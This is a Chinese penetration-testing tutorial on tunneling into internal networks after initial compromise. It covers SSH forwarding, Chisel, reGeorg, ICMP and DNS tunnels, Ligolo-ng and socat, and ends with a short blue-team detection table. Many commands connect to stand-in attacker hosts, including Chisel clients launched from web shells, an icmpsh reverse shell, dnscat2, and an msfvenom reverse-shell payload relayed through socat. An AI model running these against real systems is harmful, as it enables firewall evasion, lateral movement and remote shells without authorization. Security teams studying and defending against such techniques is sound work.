1 内网隧道技术

解决不出网协议上线的技术,用来绕过网络内有防火墙、检测等措施的限制

  1. 前提条件
    已有控制权限:如通过漏洞(如Shiro反序列化)上传木马,但无法直接通信。

受限环境:安全设备(如防火墙、IDS)限制敏感操作或信息收集。

  1. 应用场景
    CS/MSF无法上线:通信被拦截,无回显。

数据传输不稳定:网络出口受监控。

绕过拦截:防火墙阻止常规流量。

典型案例:通过Shiro漏洞上传木马,但因防火墙限制无法上线CS,需使用隧道技术。

小结:隧道技术不是攻击手段,而是权限获取后的辅助工具,用于数据传输和防火墙绕过。

1.1 常见的内网穿透工具及方法

声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于合法靶机平台。

1.1.1 引言:隧道是内网渗透的命脉

核心场景:攻击机和目标之间隔着防火墙、NAT、甚至多层隔离网络。没有隧道,拿到跳板机也等于拿了个废品。

内网穿透工具很多,SSH 原生隧道、Chisel、Ligolo-ng、Socat,各有适用场景。


1.1.1.1 基础概念:隧道是什么

1
2
3
4
5
6
7
8
9
典型场景:
攻击机(10.10.14.x)
     ↕ 只有这一段可达
       边界服务器/跳板机(192.168.1.50,双网卡)
                ↕ 内网,攻击机不可达
              内网服务器(192.168.1.100)
                     
没有隧道:攻击机无法直接与内网服务器通信
有了隧道:通过跳板机做"中继",流量穿透到内网

三种技术类型

技术 用途 代表工具
端口转发 访问内网某个特定端口 SSH -L/-R, socat
SOCKS 代理 通过代理访问内网任意目标 SSH -D, Chisel
透明隧道 像身处内网一样,直接用任何工具 Ligolo-ng(最推荐)

1.1.1.2 SSH 隧道(有 SSH 访问时首选)

SSH 内置三种隧道模式,不需要额外工具,稳定可靠。

1.1.1.2.1 本地端口转发(-L):访问内网特定服务

语法ssh -L <本地端口>:<目标IP>:<目标端口> user@跳板机

1
2
3
4
5
6
7
8
9
10
11
12
13
# 场景:通过跳板机访问内网的 Web 管理后台(192.168.1.100:8443)
ssh -L 8443:192.168.1.100:8443 user@jump_host
# 然后在攻击机浏览器访问:https://localhost:8443

# 场景:访问内网 RDP
ssh -L 13389:192.168.1.100:3389 user@jump_host
# xfreerdp /v:localhost:13389 /u:admin /p:password

# 同时转发多个端口
ssh -L 8080:192.168.1.100:80 -L 13389:192.168.1.100:3389 user@jump_host

# 后台运行(不执行命令,只保持转发)
ssh -f -N -L 8443:192.168.1.100:8443 user@jump_host
1.1.1.2.2 动态端口转发(-D):SOCKS 代理访问多目标

语法ssh -D <本地端口> user@跳板机

1
2
3
4
5
6
7
8
9
10
# 建立 SOCKS5 代理
ssh -D 1080 user@jump_host -N -f

# 配置 proxychains(/etc/proxychains4.conf 末尾添加)
socks5 127.0.0.1 1080

# 通过代理扫描内网
proxychains nmap -sT -p 22,80,443,8080 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24
proxychains curl http://192.168.1.100
1.1.1.2.3 远程端口转发(-R):反向隧道(目标在 NAT 后)

语法ssh -R <攻击机端口>:<本地IP>:<本地端口> user@攻击机在目标机上执行

1
2
3
4
# 场景:目标机在内网无法直接被访问,建立反向连接
# 目标机上执行(把 3389 暴露给攻击机的 13389)
ssh -R 13389:localhost:3389 user@<ATTACKER_IP>
# 攻击机:xfreerdp /v:localhost:13389 /u:admin
1.1.1.2.4 多跳隧道(-J ProxyJump)
1
2
3
4
5
# 通过 jump1 再跳到 jump2,最终访问 target
ssh -J user1@jump1 -L 8080:192.168.2.100:80 user2@jump2

# 多跳 SOCKS 代理
ssh -J user1@jump1,user2@jump2 -D 1080 user3@target

1.1.1.3 HTTP 隧道,穿越防火墙神器

1.1.1.3.1 Chisel

适用场景:目标只开放了 80/443 等 Web 端口,无法直接建立 SSH 隧道。

Chisel 把流量封装在 HTTP/HTTPS 请求中,伪装成正常 Web 流量穿越防火墙。

1.1.1.3.1.1 安装
1
2
3
# 从 GitHub Releases 下载对应平台版本
# github.com/jpillora/chisel/releases
# 需要两个文件:chisel(攻击机/Linux)和 chisel_windows_amd64.exe(Windows目标)
1.1.1.3.1.2 最常用配置:反向 SOCKS 代理
1
2
3
4
5
6
7
8
9
# 攻击机(服务端)— 先启动
./chisel server -p 8080 --reverse --socks5

# 跳板机(客户端)— 执行后连接攻击机
./chisel client <ATTACKER_IP>:8080 R:1080:socks
# 现在攻击机的 1080 端口是 SOCKS5 代理,流量通过跳板机进内网

# proxychains 配置同 SSH -D
proxychains nmap -sT 192.168.1.0/24
1.1.1.3.1.3 特定端口转发
1
2
3
4
5
6
# 攻击机
./chisel server -p 8080 --reverse

# 跳板机(把内网 RDP 暴露到攻击机的 13389)
./chisel client <ATTACKER_IP>:8080 R:13389:192.168.1.100:3389
# 攻击机:xfreerdp /v:localhost:13389 /u:admin
1.1.1.3.1.4 伪装成合法流量
1
2
3
# 走 443 端口 + TLS(最隐蔽)
./chisel server -p 443 --tls-skip-verify --reverse
./chisel client --tls-skip-verify https://<ATTACKER_IP>:443 R:socks
1.1.1.3.1.5 只有 Web Shell 时的使用方式
1
2
3
4
5
# 通过 Web Shell 上传 chisel 后执行(后台运行)
# Web Shell 中执行:
./chisel client <ATTACKER_IP>:8080 R:socks
# 或 Windows:
start /B chisel_windows_amd64.exe client <ATTACKER_IP>:8080 R:socks`
1.1.1.3.2 regeorg

利用HTTP/HTTPS协议封装流量,伪装成正常Web请求。

  • 步骤
    1. 在目标Web服务器上传regeorg的PHP脚本(如regeorg.php)。
    2. 本地运行regeorg客户端:
      1
      python regeorg.py -k <key> -u http://target.com/regeorg.php
    3. 配置代理(如SOCKS5),通过隧道通信。
  • 场景:Web服务器暴露,防火墙允许HTTP流量。

1.1.1.4 ICMP隧道

为您补充 1.1.1.4 ICMP隧道 的相关笔记内容。这部分内容采用了与您现有笔记结构一致的Markdown排版,您可以直接复制并插入到该层级下:

1.1.1.4.1 ICMP隧道

将 TCP/UDP 数据报文封装在 ICMP 的 Echo Request (Type 8) 和 Echo Reply (Type 0) 的数据包 payload 中进行传输。由于 ICMP 协议工作在网络层,且许多企业防火墙或边界路由器为了方便排查网络故障,默认会放行 ping 请求,因此该技术常被用于绕过严格的四层端口访问控制策略。

  • 场景: 目标网络边界对出站的 TCP/UDP 端口(如 80, 443, 53 等)进行了严格的 ACL 封堵,但允许出站的 ICMP 协议流量(即在目标机器上能够 ping 通公网地址)。
1.1.1.4.2 Pingtunnel

Pingtunnel 是一款基于 Go 语言开发的跨平台 ICMP 隧道工具,支持 TCP/UDP 端口转发以及建立 SOCKS5 代理。相比于传统的 ptunnel,它在并发处理能力、稳定性和传输速度上更具优势。

  • 步骤:

    1. 在攻击者服务器(需具备公网IP)运行服务端。注意:监听和处理底层的 ICMP 数据包需要操作系统层面的 root 权限。
      1
      sudo ./pingtunnel -type server
    2. 在目标主机上运行客户端,将流量封装并指向攻击者服务器,同时在本地开启 SOCKS5 代理(假设攻击者服务器 IP 为 attacker.com):

      1
      sudo ./pingtunnel -type client -l :1080 -s attacker.com -sock5 1
    3. 配置代理:通过连接目标主机本地的 1080 端口,即可将后续工具流量经由 ICMP 隧道代理进内网。

1.1.1.5 icmpsh

一款极简的、跨平台的 ICMP 隧道反向 Shell 工具(Reverse Shell)。其在实战中的核心优势在于:目标主机的客户端运行不需要系统管理员权限(仅攻击端需要 root 权限来捕获和伪造 ICMP 报文)。

  • 步骤:
    1. 在攻击者服务器端,首先需要修改内核参数,关闭系统自带的 ICMP 响应(防止内核自动回复目标机的 ping 包从而导致通信序列混乱),随后启动服务端脚本:
      1
      2
      sysctl -w net.ipv4.icmp_echo_ignore_all=1
      python icmpsh_m.py <攻击机IP> <目标机公网出口IP>
    2. 在目标主机(通常为 Windows 目标)运行客户端程序,向攻击端发起连接:
      1
      icmpsh.exe -t <攻击机IP>

1.1.1.6 DNS隧道

1.1.1.6.1 dnscat2

将数据封装在DNS查询中,利用53端口通信。

  • 步骤
    1. 在攻击者服务器运行dnscat2服务端:
      1
      ./dnscat2\_server attacker.com
    2. 在目标主机运行客户端:
      1
      ./dnscat2\_client --dns server=attacker.com
    3. 数据通过DNS隧道传输。

      1.1.1.7 透明代理,最推荐

Ligolo-ng 是目前最常用的内网穿透工具。

它的核心优势:创建一个 TUN 虚拟网卡,直接把内网路由到攻击机。不需要 proxychains,任何工具都可以直接访问内网 IP,就像真正在内网一样。

1.1.1.7.1 安装
1
2
3
4
5
6
7
# 下载(两个文件)
# github.com/nicocha30/ligolo-ng/releases
# proxy → 攻击机运行``# agent → 跳板机/目标机运行

# 攻击机:创建 TUN 虚拟网卡
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
1.1.1.7.2 建立隧道(标准流程)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 第一步:攻击机启动 proxy
sudo ./proxy -selfcert -laddr 0.0.0.0:11601

# 第二步:跳板机上传并运行 agent
./agent -connect <ATTACKER_IP>:11601 -ignore-cert
# Windows 跳板机:
./agent_windows_amd64.exe -connect <ATTACKER_IP>:11601 -ignore-cert

# 第三步:攻击机控制台(proxy 界面)
ligolo-ng » session       # 查看连接的 agent(选对应编号)
ligolo-ng [session] » ifconfig   # 查看跳板机网卡,找内网网段 

# 比如找到 192.168.1.0/24

# 第四步:攻击机添加路由
sudo ip route add 192.168.1.0/24 dev ligolo

# 第五步:启动隧道
ligolo-ng [session] » start
1.1.1.7.3 使用(无需 proxychains!)
1
2
3
4
5
6
# 直接访问内网,完全透明!
nmap -sV 192.168.1.100          # 直接扫描内网
curl http://192.168.1.100        # 直接访问 Web
ssh user@192.168.1.100           # 直接 SSH
evil-winrm -i 192.168.1.100      # 直接 WinRM
crackmapexec smb 192.168.1.0/24  # 直接 CME
1.1.1.7.4 多层内网(套娃)
1
2
3
4
5
# 已经进入第一层内网,继续穿透到第二层(比如 10.10.10.0/24)
# 在第一层跳板机上运行 agent,连接到攻击机
# 攻击机添加第二层路由
sudo ip route add 10.10.10.0/24 dev ligolo
# Ligolo-ng 支持多个 session,每个对应不同内网网段

1.1.1.8 Socat:轻量级端口转发

Socat 适合临时、快速的端口转发,特别是目标机上无法运行其他工具时。

1
2
3
4
5
6
7
8
# 把本机 8080 转发到内网 192.168.1.100:80
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

# 后台运行
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80 &

# Windows(需要 socat.exe)
socat.exe TCP-LISTEN:8080,fork TCP:192.168.1.100:80

配合 Payload 使用:内网机器反弹 shell 无法直接连到攻击机时,让 socat 在跳板机上做中继:

1
2
3
4
5
6
7
8
# 跳板机执行
socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444

# Payload 的 LHOST 设为跳板机 IP
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<JUMP_IP> LPORT=4444 -f exe > shell.exe

# 攻击机监听
nc -lvnp 4444

1.1.1.9 工具选型速查表

场景 推荐工具 原因
有 SSH 访问权,访问内网某个端口 ssh -L 无需额外工具,稳定
有 SSH 访问权,需访问多个内网目标 ssh -D

+ proxychains
灵活,SOCKS 代理覆盖广
目标在 NAT 后无法直连 ssh -R 反向隧道建立连接
目标只开放 Web 端口 Chisel HTTP 隧道穿防火墙
需要访问多个内网目标且不想用 proxychains Ligolo-ng 透明代理,最方便
临时转发单个端口,无需安装工具 socat 一行命令搞定
只有 Web Shell Chisel(后台) 轻量,HTTP 传输

1.1.1.10 实战场景速查

1.1.1.10.1 场景 1:通过跳板机访问内网 Web 管理后台
1
2
ssh -L 8443:192.168.1.100:8443 user@jump -N -f
# 浏览器:https://localhost:8443
1.1.1.10.2 场景 2:内网 RDP 横向移动
1
2
ssh -L 13389:192.168.1.200:3389 user@jump -N -f
xfreerdp /v:localhost:13389 /u:administrator /p:password
1.1.1.10.3 场景 3:只有 Web Shell,需要访问内网多个目标
1
2
3
4
# 上传 chisel,Web Shell 中执行
./chisel client <ATTACKER_IP>:8080 R:socks &
# 攻击机:./chisel server -p 8080 --reverse
# proxychains 访问内网
1.1.1.10.4 场景 4:Pro Labs / 多层内网
1
2
3
4
# 每层都用 Ligolo-ng agent,攻击机管理多个 session
# sudo ip route add 10.10.10.0/24 dev ligolo  
# 每层添加路由
# 无需 proxychains,直接访问任何内网 IP
1.1.1.10.5 场景 5:Payload 反弹经过跳板机
1
2
3
4
# 跳板机做流量中继
socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444
# Payload LHOST = 跳板机 IP
# nc -lvnp 4444 在攻击机监听

1.1.1.11 蓝队视角:如何检测和防御隧道

攻击技术 检测 防御
SSH 隧道 监控异常 SSH 连接;检测 AllowTcpForwarding 使用 禁用 GatewayPorts;限制端口转发
Chisel(HTTP 隧道) 监控长连接 HTTP 请求;流量分析异常 深度包检测(DPI);HTTP 代理审计
Ligolo-ng 检测 TUN 接口创建;监控异常进程 EDR 检测;禁止用户创建 TUN 接口
DNS 隧道 监控异常 DNS 查询频率和包大小 DNS 防火墙;限制直接 DNS 出站

1.1.1.12 关键收获

  1. Ligolo-ng 是多目标内网渗透的首选:透明代理,无需 proxychains,任何工具直接用,大幅提升效率。
  2. Chisel 是穿防火墙的利器:只要目标出向能连 HTTP/HTTPS,就能建立隧道,适用于绝大多数企业网络。
  3. SSH -D + proxychains 是最简单的入门配置:有 SSH 访问权时的默认选择,不需要上传任何工具。

2 代理技术

解决网络通讯不通的问题,利用跳板机建立节点后续操作